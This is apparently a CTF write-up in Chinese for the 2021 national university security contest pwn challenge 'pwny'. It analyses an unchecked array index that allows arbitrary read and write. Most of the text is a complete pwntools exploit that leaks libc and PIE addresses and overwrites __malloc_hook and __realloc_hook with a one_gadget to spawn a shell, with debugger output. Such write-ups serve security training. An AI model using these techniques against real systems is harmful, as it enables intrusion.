题目-pwny
2021全国大学生信息安全竞赛-pwny_init
保护
$ checksec ./pwny
[*] '/home/hnhuangjingyu/pwny/pwny'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.3) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
分析
main
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4FQzUxYO-1654366741330)(2021-国赛.assets/image-20220525234405472.png)]](https://i-blog.csdnimg.cn/blog_migrate/00aad3371494c5285fd59cc404b43c8d.png)
read
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UDuvrs75-1654366741331)(2021-国赛.assets/image-20220525234430774.png)]](https://i-blog.csdnimg.cn/blog_migrate/148b0837fbee1aeac96ce83494723d36.png)
write
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2JOtAQpl-1654366741331)(2021-国赛.assets/image-20220525234451507.png)]](https://i-blog.csdnimg.cn/blog_migrate/1011ff9b79b808f2f15f54b025717c14.png)
这个程序其实就是两个核心函数,和名字一样,因为操作的fd指针是个随机参数文件,我们通过修改fd指针为0,也就是控制台就可以实现任意读写了,那么程序就简单了
思路
很简单我们看这个qword_202060[input_idx]这里组的偏移是由我们决定的且没有大小限制(是int64类型的变量)。
ok看看bss段qword_202060和随机函数的fd指针只相差0x100偏移,那么就可以间接的控制fd为0了,具体利用如下:
################################ Function ############################################
def reads(offset):
sla("Your choice:","1")
sa("Index:",offset)
def writes(offset,data = -1):
sla("Your choice:","2")
sla("Index:",str(offset))
if (data != -1):
sd(data)
################################### Statr ############################################
writes(0x100) #第一次发现rsp的值是一个随机值
writes(0x100) #这里的rsp就为0,刚好满足需求
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)
这里就可以将fd置为0,我也是gdb调试调试着就发现的,仔细分析程序再加gdb的一些数据,思路一下就来了,这样我们就实现了任意读,从而泄漏了程序用户态地址,和libc地址,ok
再通过任意写在malloc_hook处写入one_gadget,但是我在做的时候换了所有one_gadget都不行,调试发现进入到了one_gadget函数后,遇到了一个bad 指令,然后就报错EOF了,不想放弃这个exp再使用environ进行getshell
我们看看报错时后的程序数据:
──────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x007ff8a8f8e3cc → <do_system+1036> (bad)
$rbx : 0x007fff58275130 → 0x007fff58275140 → "22222222222222222222222222222222222222222222222222[...]"
$rcx : 0x32
$rdx : 0x402
$rsp : 0x007fff58274e78 → 0x007ff8a8fdc2d8 → <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rbp : 0x800
$rsi : 0x007ff8a8fdc2d8 → <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax
$rdi : 0x800
$rip : 0x007ff8a8f8e3cc → <do_system+1036> (bad)
$r8 : 0x007ff8a932c8c0 → 0x0000000000000000
$r9 : 0x007ff8a9558580 → 0x007ff8a9558580 → [loop detected]
$r10 : 0x005591a6a00d01 → 0x65646e4900646c25 ("%ld"?)
$r11 : 0x005591a6a00d04 → add BYTE PTR [rcx+0x6e], cl
$r12 : 0x007fff58275140 → "22222222222222222222222222222222222222222222222222[...]"
$r13 : 0x400
$r14 : 0x007fff58275140 → "22222222222222222222222222222222222222222222222222[...]"
$r15 : 0xffffffff
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fff58274e78│+0x0000: 0x007ff8a8fdc2d8 → <__libc_scratch_buffer_grow_preserve+88> mov rcx, rax ← $rsp
0x007fff58274e80│+0x0008: 0x0000000000000400
0x007fff58274e88│+0x0010: 0x007fff58275590 → 0x007fff58275680 → 0x0000000000000002
0x007fff58274e90│+0x0018: 0x0000000000000a ("\n"?)
0x007fff58274e98│+0x0020: 0x00000000000032 ("2"?)
0x007fff58274ea0│+0x0028: 0x007ff8a932aa00 → 0x00000000fbad208b
0x007fff58274ea8│+0x0030: 0x007ff8a8fac4c8 → <_IO_vfscanf+8616> test al, al
0x007fff58274eb0│+0x0038: 0x4800490040000a ("\n"?)
────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x7ff8a8f8e3cc <do_system+1036> (bad)
0x7ff8a8f8e3cd <do_system+1037> add BYTE PTR [rax-0x73], cl
0x7ff8a8f8e3d0 <do_system+1040> add eax, 0x164a42
0x7ff8a8f8e3d5 <do_system+1045> lea rsi, [rip+0x39e2c4] # 0x7ff8a932c6a0 <intr>
0x7ff8a8f8e3dc <do_system+1052> xor edx, edx
0x7ff8a8f8e3de <do_system+1054> mov edi, 0x2
───────────────────────────────────────────────────────────────────────────────────────────────
gef➤
可以看到程序执行到了one_gadget这里地方出现了一个bad(报错原因),在执行onegadget的时候报错退出一般只有寄存器数据有问题,或者是栈数据有问题,都不符合one_gadget要求,这里我的glibc的one_gadget为如下:
$ one_gadget /home/hnhuangjingyu/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so -l2
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xe546f execve("/bin/sh", r13, rbx)
constraints:
[r13] == NULL || r13 == NULL
[rbx] == NULL || rbx == NULL
0xe5617 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe561e execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe5622 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0x10a428 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULLt
[[rax]] == NULL || [rax] == NULL
再看看我的在调用malloc_hook前的栈空间,可以看到只需要提高栈0x8即可满足一些one_gadge。
解决方法:在malloc_hook中写入realloc(realloc_hook就在malloc_hook-0x8处),在realloc_hook中写入one_gadget,修改realloc的偏移+8即去掉函数开头的一个push操作,最后函数出栈就会改变原来的栈空间去调用one_gadget,修改后如下:
──────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffdb1ee74b8│+0x0000: 0x00000000000032 ("2"?) ← $rsp
0x007ffdb1ee74c0│+0x0008: 0x007fc5a22f4a00 → 0x00000000fbad208b
0x007ffdb1ee74c8│+0x0010: 0x007fc5a1f764c8 → <_IO_vfscanf+8616> test al, al
0x007ffdb1ee74d0│+0x0018: 0x4800490040000a ("\n"?)
0x007ffdb1ee74d8│+0x0020: 0x007fc5a20be74b → 0x747300445750002e ("."?)
0x007ffdb1ee74e0│+0x0028: 0x007ffdb1ee7b90 → 0x0055f52ee00900 → xor ebp, ebp
0x007ffdb1ee74e8│+0x0030: 0x0000000000000000
0x007ffdb1ee74f0│+0x0038: 0x0000000000000000
那么exp如下:
writes("0"*0xfff,b'\x00') #初始化malloc@got
writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))
#logs(libc.symbols['__malloc_hook'])
#logs(addr)
#logs((libc.symbols['__malloc_hook'] - addr)/8)
sla("Your choice:","2"*0xfff) #getshell
完整exp
#! /usr/bin/python3
from pwn import *
#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./pwny"
one = [0x4f3d5,0x4f432,0x10a41c]
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(addr,string='logs'):
if(isinstance(addr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))
def pa(s='1'):
log.success('pause : step---> '+str(s))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def reads(offset):
sla("Your choice:","1")
sa("Index:",offset)
def writes(offset,data = -1):
sla("Your choice:","2")
sla("Index:",str(offset))
if (data != -1):
sd(data)
################################### Statr ############################################
#z(''' pie breakpoint 0xb78 \n c''')
#z(''' pie breakpoint 0xc06 \n c \n c \n c ''')
writes(0x100)
writes(0x100)
reads(p64(0xfffffffffffffff0))
ru('Result:')
libc.address = int(ru('\n'),16) - (0x7f5beb5afb10 - 0x7f5beb58e000)
reads(p64(0xfffffffffffffff5))
ru('Result:')
addr = int(ru('\n'),16) + (0x0000556dd6c02060 - 0x556dd6c02008)
writes("0"*0xfff,b'\x00') #初始化malloc@got
writes(int((libc.symbols['__malloc_hook'] - addr)/8)-1 , p64(libc.address + one[1]))
writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.symbols['realloc'] +8 ))
#writes(int((libc.symbols['__malloc_hook'] - addr)/8) , p64(libc.address + one[1] ))
#logs(libc.symbols['__malloc_hook'])
#logs(addr)</

本文概述了四个2021全国大学生信息安全竞赛中的pwn题目,包括pwny的内存溢出利用、silverwolf的沙盒破解、game的堆栈攻击和channel的内核级逆向,详细展示了漏洞分析、利用策略和最终的exploits。
最低0.47元/天 解锁文章
2146

被折叠的 条评论
为什么被折叠?



